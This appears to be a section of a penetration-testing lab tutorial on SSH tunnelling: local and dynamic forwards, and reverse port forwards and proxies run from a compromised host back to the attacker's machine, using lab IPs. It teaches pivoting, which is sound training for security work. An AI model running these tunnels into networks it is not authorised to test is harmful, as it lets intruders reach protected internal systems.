03. SSH Tunnelling and Port Forwarding
Forward Connections
A forward (or "local") SSH tunnel is created from our attacking box when we have SSH access to the target. For that reason this technique is much more common against Unix hosts; Linux servers in particular often have SSH open. Microsoft has relatively recently shipped its own OpenSSH server native to Windows, so this may grow more popular there too if the feature catches on.
There are two ways to create a forward SSH tunnel with the SSH client: port forwarding, and creating a proxy.
-
Port forwarding uses the
-Lswitch, which creates a link to a Local port. If we had SSH access to 172.16.0.5 and there was a webserver running on 172.16.0.10, this command links to that server:ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fNWe could then reach the website on 172.16.0.10 (through 172.16.0.5) at port 8000 on our own attacking machine, for example by entering
localhost:8000in a browser. This effectively tunnels between port 80 on the target server and port 8000 on our box. It's good practice to use a high, out-of-the-way port for the local side: it keeps the low ports free for their proper use (e.g. starting our own webserver to serve an exploit), and avoids needingsudoto create the connection. The-fNcombined switch does two things:-fbackgrounds the shell immediately so we get our terminal back, and-Ntells SSH not to execute any commands, only set up the connection. -
Proxies use the
-Dswitch, for example-D 1337. This opens port 1337 on the attacking box as a proxy to send data into the protected network, which is useful combined with a tool like proxychains:ssh -D 1337 user@172.16.0.5 -fNAgain
-fNbackgrounds the shell. The choice of port 1337 is arbitrary; all that matters is that the port is free and correctly set in your proxychains (or equivalent) config. This proxy lets us route all of our traffic into the target network.
Reverse Connections
Reverse connections are very possible with the SSH client, and may be preferable if you have a shell on the compromised server but not SSH access. They are riskier, though, because you must access your attacking machine from the target, whether by credentials or (preferably) a key-based system. Before making a reverse connection safely there are a few steps to take:
-
Generate a new set of SSH keys and store them somewhere safe (
ssh-keygen):This creates two files: a private key and a public key.
-
Copy the contents of the public key (the file ending in
.pub), then edit the~/.ssh/authorized_keysfile on your own attacking machine. You may need to create the~/.sshdirectory andauthorized_keysfile first. -
On a new line, type the following, then paste in the public key:
command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-ptyThis restricts the key to port forwarding only, denying any ability to get a shell on your attacking machine.
The final entry in the authorized_keys file should look something like this:
Check the SSH Server on Your Attacking Machine Is Running
sudo systemctl status ssh
If the service is running you'll get a response showing "active" in the message:
If it's not running, start it with:
sudo systemctl start ssh
The only thing left is to do the unthinkable: transfer the private key to the target box. This is usually an absolute no-no, which is exactly why we generated a throwaway set of keys to discard as soon as the engagement is over.
With the key transferred, connect back with a reverse port forward:
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
In the context of our fictitious IPs 172.16.0.10 and 172.16.0.5: if we have a shell on 172.16.0.5 and want to give our attacking box (172.16.0.20) access to the webserver on 172.16.0.10, we'd run this on the 172.16.0.5 machine:
ssh -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -fN
This opens a port forward to our Kali box, letting us reach the 172.16.0.10 webserver in exactly the same way as the forward connection earlier.
In newer SSH clients it's also possible to create a reverse proxy (the equivalent of the -D switch used in local connections). This may not work in older clients, but where it's supported:
ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN
Again, this opens a proxy letting us redirect all of our traffic through localhost port 1337 into the target network.
Note: Modern Windows comes with an inbuilt SSH client by default. This lets us use this technique on Windows systems even if there's no SSH server running on the Windows box we're connecting back from. In many ways this makes the next task on plink.exe redundant; it's still very relevant for older systems.
To close any of these connections, run ps aux | grep ssh in the terminal of the machine that created the connection:
Find the process ID (PID) of the connection. In the image above it's 105238.
Finally, run sudo kill PID to close the connection: